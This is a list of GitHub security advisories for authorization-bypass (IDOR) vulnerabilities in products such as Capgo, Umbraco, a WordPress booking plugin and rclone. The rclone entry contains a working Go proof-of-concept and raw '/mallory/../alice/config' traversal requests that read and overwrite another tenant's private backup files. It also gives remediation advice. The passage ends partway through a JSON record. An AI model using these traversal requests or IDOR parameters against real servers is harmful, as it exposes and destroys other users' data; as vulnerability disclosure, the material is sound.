CWE-639
AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
4193 vulnerabilities reference this CWE, most recent first.
GHSA-FMRC-XMVQ-7V6Q
Vulnerability from github – Published: 2026-09-09 03:30 – Updated: 2026-09-09 03:30Tanium addressed an improper access controls vulnerability in Comply.
{
"affected": [],
"aliases": [
"CVE-2026-87033"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-09T03:17:25Z",
"severity": "MODERATE"
},
"details": "Tanium addressed an improper access controls vulnerability in Comply.",
"id": "GHSA-fmrc-xmvq-7v6q",
"modified": "2026-09-09T03:30:47Z",
"published": "2026-09-09T03:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87033"
},
{
"type": "WEB",
"url": "https://security.tanium.com/TAN-2026-039"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-FMX4-FW5W-86GG
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 00:34Capgo before 12.128.2 contains a broken object level authorization vulnerability in middlewareKey() that accepts the client-controlled x-limited-key-id header without validating ownership, allowing authenticated users to adopt cross-tenant limited keys. Attackers can supply another tenant's limited key ID to bypass authorization checks and access unauthorized cross-tenant resources across multiple API endpoints.
{
"affected": [],
"aliases": [
"CVE-2026-56230"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:28Z",
"severity": "HIGH"
},
"details": "Capgo before 12.128.2 contains a broken object level authorization vulnerability in middlewareKey() that accepts the client-controlled x-limited-key-id header without validating ownership, allowing authenticated users to adopt cross-tenant limited keys. Attackers can supply another tenant\u0027s limited key ID to bypass authorization checks and access unauthorized cross-tenant resources across multiple API endpoints.",
"id": "GHSA-fmx4-fw5w-86gg",
"modified": "2026-07-01T00:34:12Z",
"published": "2026-07-01T00:34:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Cap-go/capgo/security/advisories/GHSA-cppm-733w-hg86"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56230"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/capgo-broken-object-level-authorization-via-x-limited-key-id-header"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FP2V-G9F3-6FWG
Vulnerability from github – Published: 2026-06-21 15:31 – Updated: 2026-06-21 15:31Capgo before 12.128.2 contains an authorization bypass vulnerability in the /build/status and /build/logs endpoints that allows attackers to access build jobs belonging to different applications by supplying a mismatched app_id and job_id combination. Limited API keys restricted to a single app can retrieve build status and logs from other apps by providing an authorized app_id while using a job_id from an unauthorized app, exposing sensitive build information including logs, metadata, and potentially credentials.
{
"affected": [],
"aliases": [
"CVE-2026-56229"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-21T14:16:24Z",
"severity": "HIGH"
},
"details": "Capgo before 12.128.2 contains an authorization bypass vulnerability in the /build/status and /build/logs endpoints that allows attackers to access build jobs belonging to different applications by supplying a mismatched app_id and job_id combination. Limited API keys restricted to a single app can retrieve build status and logs from other apps by providing an authorized app_id while using a job_id from an unauthorized app, exposing sensitive build information including logs, metadata, and potentially credentials.",
"id": "GHSA-fp2v-g9f3-6fwg",
"modified": "2026-06-21T15:31:23Z",
"published": "2026-06-21T15:31:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Cap-go/capgo/security/advisories/GHSA-2fw5-mcrx-wcqw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56229"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/capgo-cross-app-build-job-access-via-app-id-job-id-mismatch-in-build-status-and-build-logs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FP99-3RPW-VRXX
Vulnerability from github – Published: 2025-12-04 18:30 – Updated: 2025-12-08 18:30An Insecure Direct Object Reference (IDOR) vulnerability in the EduplusCampus 3.0.1 Student Payment API allows authenticated users to access other students personal and financial records by modifying the 'rec_no' parameter in the /student/get-receipt endpoint.
{
"affected": [],
"aliases": [
"CVE-2025-61148"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-04T16:16:22Z",
"severity": "MODERATE"
},
"details": "An Insecure Direct Object Reference (IDOR) vulnerability in the EduplusCampus 3.0.1 Student Payment API allows authenticated users to access other students personal and financial records by modifying the \u0027rec_no\u0027 parameter in the /student/get-receipt endpoint.",
"id": "GHSA-fp99-3rpw-vrxx",
"modified": "2025-12-08T18:30:25Z",
"published": "2025-12-04T18:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61148"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1BRZRurbl7TY6KU4uaelAUn7L9Cn6XfjC/view?usp=sharing"
},
{
"type": "WEB",
"url": "https://github.com/sharma19d/CVE-2025-61148"
},
{
"type": "WEB",
"url": "https://medium.com/@Charon19d/how-i-hacked-all-universities-in-my-city-d6b8e320455c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FP9C-2FXX-C9Q4
Vulnerability from github – Published: 2025-04-16 00:31 – Updated: 2025-04-16 00:31Unauthenticated attackers can trigger device actions associated with specific "scenes" of arbitrary users.
{
"affected": [],
"aliases": [
"CVE-2025-31360"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-15T22:15:27Z",
"severity": "MODERATE"
},
"details": "Unauthenticated attackers can trigger device actions associated with specific \"scenes\" of arbitrary users.",
"id": "GHSA-fp9c-2fxx-c9q4",
"modified": "2025-04-16T00:31:38Z",
"published": "2025-04-16T00:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31360"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-105-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FPQ2-6XQ4-6XM4
Vulnerability from github – Published: 2026-09-10 09:31 – Updated: 2026-09-10 09:31An authorization bypass vulnerability exists in SHIRASAGI through a user-controlled key, which may allow an unauthorized attacker to retrieve files from the groupware's shared file feature.
{
"affected": [],
"aliases": [
"CVE-2026-82582"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-10T07:17:03Z",
"severity": "MODERATE"
},
"details": "An authorization bypass vulnerability exists in SHIRASAGI through a user-controlled key, which may allow an unauthorized attacker to retrieve files from the groupware\u0027s shared file feature.",
"id": "GHSA-fpq2-6xq4-6xm4",
"modified": "2026-09-10T09:31:32Z",
"published": "2026-09-10T09:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82582"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN37476837"
},
{
"type": "WEB",
"url": "https://www.ss-proj.org/support/1710.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FPVF-FVP5-996R
Vulnerability from github – Published: 2026-03-11 00:24 – Updated: 2026-03-11 05:47Description
A broken object-level authorization vulnerability exists in a backoffice API endpoint that allows authenticated users to assign domain-related data to content nodes without proper authorization checks.
The issue is caused by insufficient authorization enforcement on the affected API endpoint, whereby via an API call, domains can be set on content nodes that the editor does not have permission to access (either via user group privileges or start nodes).
Impact
An attacker can modify domain configurations for content nodes they are not permitted to edit. This may result in malicious or unintended routing behaviour, service disruption, and potential disclosure of configuration-related information.
Patches
The issue is patched in 16.5.1 and 17.2.2.
Workarounds
There is no workaround other than upgrading.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Umbraco.Cms"
},
"ranges": [
{
"events": [
{
"introduced": "14.0.0"
},
{
"fixed": "16.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Umbraco.Cms"
},
"ranges": [
{
"events": [
{
"introduced": "17.0.0"
},
{
"fixed": "17.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31832"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-11T00:24:53Z",
"nvd_published_at": "2026-03-10T22:16:21Z",
"severity": "MODERATE"
},
"details": "### Description\nA broken object-level authorization vulnerability exists in a backoffice API endpoint that allows authenticated users to assign domain-related data to content nodes without proper authorization checks.\n\nThe issue is caused by insufficient authorization enforcement on the affected API endpoint, whereby via an API call, domains can be set on content nodes that the editor does not have permission to access (either via user group privileges or start nodes).\n\n### Impact\nAn attacker can modify domain configurations for content nodes they are not permitted to edit. This may result in malicious or unintended routing behaviour, service disruption, and potential disclosure of configuration-related information.\n\n### Patches\nThe issue is patched in 16.5.1 and 17.2.2.\n\n### Workarounds\nThere is no workaround other than upgrading.",
"id": "GHSA-fpvf-fvp5-996r",
"modified": "2026-03-11T05:47:21Z",
"published": "2026-03-11T00:24:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/umbraco/Umbraco-CMS/security/advisories/GHSA-fpvf-fvp5-996r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31832"
},
{
"type": "PACKAGE",
"url": "https://github.com/umbraco/Umbraco-CMS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Umbraco Backoffice API Allows Unauthorized Modification of Domain Data"
}
GHSA-FQ3V-MC83-WVWC
Vulnerability from github – Published: 2026-03-13 21:31 – Updated: 2026-03-13 21:31The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.6.9.29. This is due to the get_item_permissions_check method granting access to users with the ssa_manage_appointments capability without validating staff ownership of the requested appointment. This makes it possible for authenticated attackers, with custom-level access and above (users granted the ssa_manage_appointments capability, such as Team Members), to view appointment records belonging to other staff members and access sensitive customer personally identifiable information via the appointment ID parameter.
{
"affected": [],
"aliases": [
"CVE-2026-1704"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-13T19:53:58Z",
"severity": "MODERATE"
},
"details": "The Appointment Booking Calendar \u2014 Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.6.9.29. This is due to the `get_item_permissions_check` method granting access to users with the `ssa_manage_appointments` capability without validating staff ownership of the requested appointment. This makes it possible for authenticated attackers, with custom-level access and above (users granted the ssa_manage_appointments capability, such as Team Members), to view appointment records belonging to other staff members and access sensitive customer personally identifiable information via the appointment ID parameter.",
"id": "GHSA-fq3v-mc83-wvwc",
"modified": "2026-03-13T21:31:46Z",
"published": "2026-03-13T21:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1704"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.9.21/includes/class-appointment-model.php#L1348"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/tags/1.6.9.21/includes/class-appointment-model.php#L1436"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/trunk/includes/class-appointment-model.php#L1348"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/simply-schedule-appointments/trunk/includes/class-appointment-model.php#L1436"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3480506%40simply-schedule-appointments%2Ftrunk\u0026old=3475885%40simply-schedule-appointments%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c82f3864-13af-4ff6-824a-4c799a98f3f6?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FQ8V-WJFJ-2725
Vulnerability from github – Published: 2025-02-05 15:32 – Updated: 2025-10-22 21:31ManageEngine Endpoint Central versions before 11.3.2440.09 are vulnerable to IDOR vulnerability which allows the attacker to change the username in the chat.
{
"affected": [],
"aliases": [
"CVE-2024-9097"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-05T13:15:23Z",
"severity": "LOW"
},
"details": "ManageEngine Endpoint Central versions before\u00a011.3.2440.09 are vulnerable to IDOR vulnerability which allows the attacker to change the username in the chat.",
"id": "GHSA-fq8v-wjfj-2725",
"modified": "2025-10-22T21:31:16Z",
"published": "2025-02-05T15:32:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9097"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/products/desktop-central/cve-2024-9097.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FQJ9-69PF-6PJG
Vulnerability from github – Published: 2026-08-05 20:41 – Updated: 2026-08-05 20:41Summary
rclone serve restic --private-repos exists to let one rclone instance host many users' restic backup repositories behind HTTP Basic auth while keeping each user confined to a path prefix of /<username>/. The documentation states the flag "can be used to limit users to repositories starting with a path of /<username>/", and the shipped test TestResticPrivateRepositories asserts that user test may reach /test/config but is 403-blocked from /other_user/config. This isolation is the entire security purpose of the flag.
The isolation is enforced by two independent chi middlewares that derive the username and the backend object path from two different sources, and the path source is never canonicalized. checkPrivate authorizes the request by comparing the routed {userID} path segment against the authenticated user, while WithRemote builds the backend object key from the raw, un-cleaned URL path. A request such as GET /<me>/../<victim>/config keeps the first path segment equal to the attacker's own username (so checkPrivate returns the request as authorized) yet hands the backend the literal remote me/../victim/config. On any backend that resolves object paths with POSIX path.Join/path.Clean semantics — which includes the bundled memory backend used in the PoC below, and the widely deployed sftp and ftp backends — that .. segment collapses, and the operation is performed against the victim's object.
Because the same un-cleaned remote feeds the GET (download), POST (upload/overwrite) and DELETE handlers, any authenticated user can read, overwrite, and delete the files of any other user's private repository hosted on the same server. For restic that means reading another tenant's config/keys metadata and pack files, corrupting their repository, or deleting their backups outright (subject to --append-only, which still permits cross-tenant reads).
Affected code (v1.74.3, commit 37e4117…)
cmd/serve/restic/restic.go. The two middlewares disagree on what "the path" is. checkPrivate reads the chi route param userID:
// Middleware to ensure authenticated user is accessing their own private folder
func checkPrivate(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
user := chi.URLParam(r, "userID")
userID, ok := libhttp.CtxGetUser(r.Context())
if ok && user != "" && user == userID {
next.ServeHTTP(w, r)
} else {
http.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden)
}
})
}
WithRemote builds the backend object key from the raw URL path with no path.Clean and no .. rejection (the only transformation is the unrelated data/xx sharding rewrite):
func WithRemote(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
var urlpath string
rctx := chi.RouteContext(r.Context())
if rctx != nil && rctx.RoutePath != "" {
urlpath = rctx.RoutePath
} else {
urlpath = r.URL.Path
}
urlpath = strings.Trim(urlpath, "/")
parts := matchData.FindStringSubmatch(urlpath)
// ... data/2159dd48 -> data/21/2159dd48 sharding only ...
ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)
next.ServeHTTP(w, r.WithContext(ctx))
})
}
Route wiring (Bind): the auth-bearing {userID} segment is matched by chi for checkPrivate, but the catch-all /* that WithRemote reads keeps the literal ..:
if s.opt.PrivateRepos {
router.Route("/{userID}", func(r chi.Router) {
r.Use(checkPrivate)
s.bind(r)
})
...
}
The remote stored by WithRemote is then used verbatim by the object handlers, e.g. serveObject → s.newObject(ctx, remote) → s.f.NewObject(ctx, remote), postObject → operations.RcatSize(..., remote, ...), and deleteObject → o.Remove(...). For a request GET /test/../victim/config, instrumentation shows checkPrivate observing userIDparam="test" (authorized) while the object remote is "test/../victim/config" — the desync is exact.
Attacker model / precondition
The attacker is a low-privileged but legitimately authenticated user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for — e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required.
Preconditions: (1) the operator runs rclone serve restic with --private-repos and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX path.Join/path.Clean semantics so the .. collapses before the object is located. This holds for the bundled memory backend (used in the self-contained PoC), and for the commonly deployed sftp and ftp backends, whose object path is computed as path.Join(f.absRoot, remote) (backend/sftp/sftp.go, o.path()), which canonicalizes ... It does not hold for the local backend (which deliberately re-encodes ./.. path components to fullwidth characters in cleanRootPath/localPath, neutralizing traversal), and S3-style backends treat keys as opaque so a literal .. key normally will not match a victim object — so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend's incidental path handling.
Impact
Across the per-user trust boundary that --private-repos is meant to enforce, any authenticated user can, against any other user's repository on the same server:
- Read (
GET): download the victim's resticconfigandkeys/*files and pack/index objects — full confidentiality break of the victim's repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim's restic password — i.e. this removes the server-side isolation that was the only barrier.) - Overwrite (
POST): replace the victim's objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if--append-onlyis set. - Delete (
DELETE): remove the victim's repository objects, destroying their backups. Blocked only if--append-onlyis set (which still allows the read primitive).
This is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account.
Proof of Concept (complete — runs on 127.0.0.1 only)
Lab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback httptest listener backed by the bundled in-memory backend (which has the same path.Join key semantics as the sftp/ftp backends), then sends raw, un-normalized HTTP request-targets over a TCP socket (so the .. is not collapsed client-side). It proves: (1) a user reads their own object — 200; (2) a direct cross-tenant request is correctly blocked — 403; (3) the .. bypass reads the victim's secret — 200 + leak; (4) the same bypass overwrites the victim's object — 200.
Reproduce against the exact vulnerable tag:
git clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone
cd rclone
# write the test file shown below to cmd/serve/restic/zzz_poc_test.go
go test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v
cmd/serve/restic/zzz_poc_test.go:
package restic
import (
"bufio"
"context"
"encoding/base64"
"fmt"
"net"
"net/http/httptest"
"strings"
"testing"
"time"
"github.com/rclone/rclone/fs"
"github.com/rclone/rclone/fs/config/configfile"
"github.com/rclone/rclone/fs/object"
"github.com/rclone/rclone/lib/random"
"github.com/stretchr/testify/require"
_ "github.com/rclone/rclone/backend/memory"
)
func pocBasicAuth(user, pass string) string {
return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
}
// rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized)
// request-target + method + Basic auth, returning the full raw response.
func rawReq(t *testing.T, addr, method, target, user, pass string) string {
conn, err := net.Dial("tcp", addr)
require.NoError(t, err)
defer func() { _ = conn.Close() }()
cred := pocBasicAuth(user, pass)
req := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: x\r\nAuthorization: Basic %s\r\nConnection: close\r\n\r\n", method, target, cred)
_, err = conn.Write([]byte(req))
require.NoError(t, err)
r := bufio.NewReader(conn)
var sb strings.Builder
buf := make([]byte, 8192)
for {
n, err := r.Read(buf)
if n > 0 {
sb.Write(buf[:n])
}
if err != nil {
break
}
}
return sb.String()
}
func pocBody(resp string) string {
if idx := strings.Index(resp, "\r\n\r\n"); idx >= 0 {
return resp[idx+4:]
}
return ""
}
func pocStatus(resp string) string { return strings.SplitN(resp, "\r\n", 2)[0] }
// TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass
// on a bucket-style backend (memory: same path.Join semantics as sftp/ftp).
func TestPrivateRepoCrossTenantPoC(t *testing.T) {
configfile.Install()
ctx := context.Background()
// Bucket-style backend shared by all private-repo users.
f, err := fs.NewFs(ctx, ":memory:repos")
require.NoError(t, err)
put := func(remote, content string) {
info := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f)
_, perr := f.Put(ctx, strings.NewReader(content), info)
require.NoError(t, perr)
}
// Victim "alice" uploads her restic config under her own private prefix.
secret := "ALICE-PRIVATE-RESTIC-CONFIG-" + random.String(8)
put("alice/config", secret)
// Attacker "mallory" has her own valid account on the same server.
put("mallory/config", "mallory-own-config")
opt := newOpt()
opt.PrivateRepos = true
opt.Auth.BasicUser = "mallory"
opt.Auth.BasicPass = "password"
opt.HTTP.ListenAddr = nil
s, err := newServer(ctx, f, &opt)
require.NoError(t, err)
ts := httptest.NewServer(s.server.Router())
defer ts.Close()
addr := strings.TrimPrefix(ts.URL, "http://")
// 1. Sanity: mallory reads her own config -> 200.
r1 := rawReq(t, addr, "GET", "/mallory/config", "mallory", "password")
t.Logf("[own] GET /mallory/config -> %s body=%q", pocStatus(r1), pocBody(r1))
// 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -> 403.
r2 := rawReq(t, addr, "GET", "/alice/config", "mallory", "password")
t.Logf("[direct-blocked] GET /alice/config -> %s body=%q", pocStatus(r2), pocBody(r2))
// 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so
// checkPrivate passes, but the object remote collapses to alice/config.
r3 := rawReq(t, addr, "GET", "/mallory/../alice/config", "mallory", "password")
leaked := strings.Contains(pocBody(r3), secret)
t.Logf("[BYPASS] GET /mallory/../alice/config -> %s leaked=%v body=%q", pocStatus(r3), leaked, pocBody(r3))
require.Equalf(t, "HTTP/1.1 200 OK", pocStatus(r3), "expected the bypass to return alice's object")
require.Truef(t, leaked, "expected to read alice's secret config across the tenant boundary")
// 4. Write bypass too: mallory overwrites alice's object (append-only off).
r4 := rawReq(t, addr, "POST", "/mallory/../alice/config", "mallory", "password")
t.Logf("[BYPASS-write] POST /mallory/../alice/config -> %s", pocStatus(r4))
}
Observed output (v1.74.3 and master HEAD):
=== RUN TestPrivateRepoCrossTenantPoC
zzz_poc_test.go: [own] GET /mallory/config -> HTTP/1.1 200 OK body="mallory-own-config"
zzz_poc_test.go: [direct-blocked] GET /alice/config -> HTTP/1.1 403 Forbidden body="Forbidden\n"
zzz_poc_test.go: [BYPASS] GET /mallory/../alice/config -> HTTP/1.1 200 OK leaked=true body="ALICE-PRIVATE-RESTIC-CONFIG-sijejif0"
zzz_poc_test.go: [BYPASS-write] POST /mallory/../alice/config -> HTTP/1.1 200 OK
--- PASS: TestPrivateRepoCrossTenantPoC (0.00s)
PASS
ok github.com/rclone/rclone/cmd/serve/restic 0.022s
The shipped TestResticPrivateRepositories continues to pass alongside this PoC, confirming the intended isolation model (own 200, direct cross-tenant 403) is exactly what the .. request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or net/http client would canonicalize the .. before sending, but curl --path-as-is, restic's own REST client, or any raw socket write preserves it.
Remediation
Enforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the same cleaned value:
- In
WithRemote(or beforecheckPrivateruns), reject orpath.Cleanthe request path and refuse any path containing a..element after a leading-slash trim — e.g. computecleaned := path.Clean("/" + strings.Trim(urlpath, "/"))and403/400ifcleaneddiffers from the original or still contains a..segment. Then storecleaned(minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth. - Additionally, in
checkPrivate, verify that the (cleaned) object remote actually has the authenticated user's name as its first path segment, rather than trusting the chi{userID}route param in isolation:require strings.HasPrefix(cleanedRemote, userID+"/") || cleanedRemote == userID. - Defense in depth: the restic server should canonicalize and
..-reject incoming object paths even when--private-reposis off, so that no backend is relied upon to neutralize traversal.
Please credit 5ud0 / Tarmo Technologies.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.74.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/rclone/rclone"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.74.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59733"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-05T20:41:22Z",
"nvd_published_at": "2026-07-14T22:17:30Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`rclone serve restic --private-repos` exists to let one rclone instance host many users\u0027 restic backup repositories behind HTTP Basic auth while keeping each user confined to a path prefix of `/\u003cusername\u003e/`. The documentation states the flag \"can be used to limit users to repositories starting with a path of `/\u003cusername\u003e/`\", and the shipped test `TestResticPrivateRepositories` asserts that user `test` may reach `/test/config` but is `403`-blocked from `/other_user/config`. This isolation is the entire security purpose of the flag.\n\nThe isolation is enforced by two independent chi middlewares that derive the username and the backend object path from two *different* sources, and the path source is never canonicalized. `checkPrivate` authorizes the request by comparing the routed `{userID}` path segment against the authenticated user, while `WithRemote` builds the backend object key from the raw, un-cleaned URL path. A request such as `GET /\u003cme\u003e/../\u003cvictim\u003e/config` keeps the first path segment equal to the attacker\u0027s own username (so `checkPrivate` returns the request as authorized) yet hands the backend the literal remote `me/../victim/config`. On any backend that resolves object paths with POSIX `path.Join`/`path.Clean` semantics \u2014 which includes the bundled `memory` backend used in the PoC below, and the widely deployed `sftp` and `ftp` backends \u2014 that `..` segment collapses, and the operation is performed against the victim\u0027s object.\n\nBecause the same un-cleaned remote feeds the `GET` (download), `POST` (upload/overwrite) and `DELETE` handlers, any authenticated user can read, overwrite, and delete the files of any other user\u0027s private repository hosted on the same server. For restic that means reading another tenant\u0027s `config`/`keys` metadata and pack files, corrupting their repository, or deleting their backups outright (subject to `--append-only`, which still permits cross-tenant reads).\n\n## Affected code (v1.74.3, commit `37e4117\u2026`)\n\n`cmd/serve/restic/restic.go`. The two middlewares disagree on what \"the path\" is. `checkPrivate` reads the chi route param `userID`:\n\n```go\n// Middleware to ensure authenticated user is accessing their own private folder\nfunc checkPrivate(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tuser := chi.URLParam(r, \"userID\")\n\t\tuserID, ok := libhttp.CtxGetUser(r.Context())\n\t\tif ok \u0026\u0026 user != \"\" \u0026\u0026 user == userID {\n\t\t\tnext.ServeHTTP(w, r)\n\t\t} else {\n\t\t\thttp.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden)\n\t\t}\n\t})\n}\n```\n\n`WithRemote` builds the backend object key from the raw URL path with **no `path.Clean`** and no `..` rejection (the only transformation is the unrelated 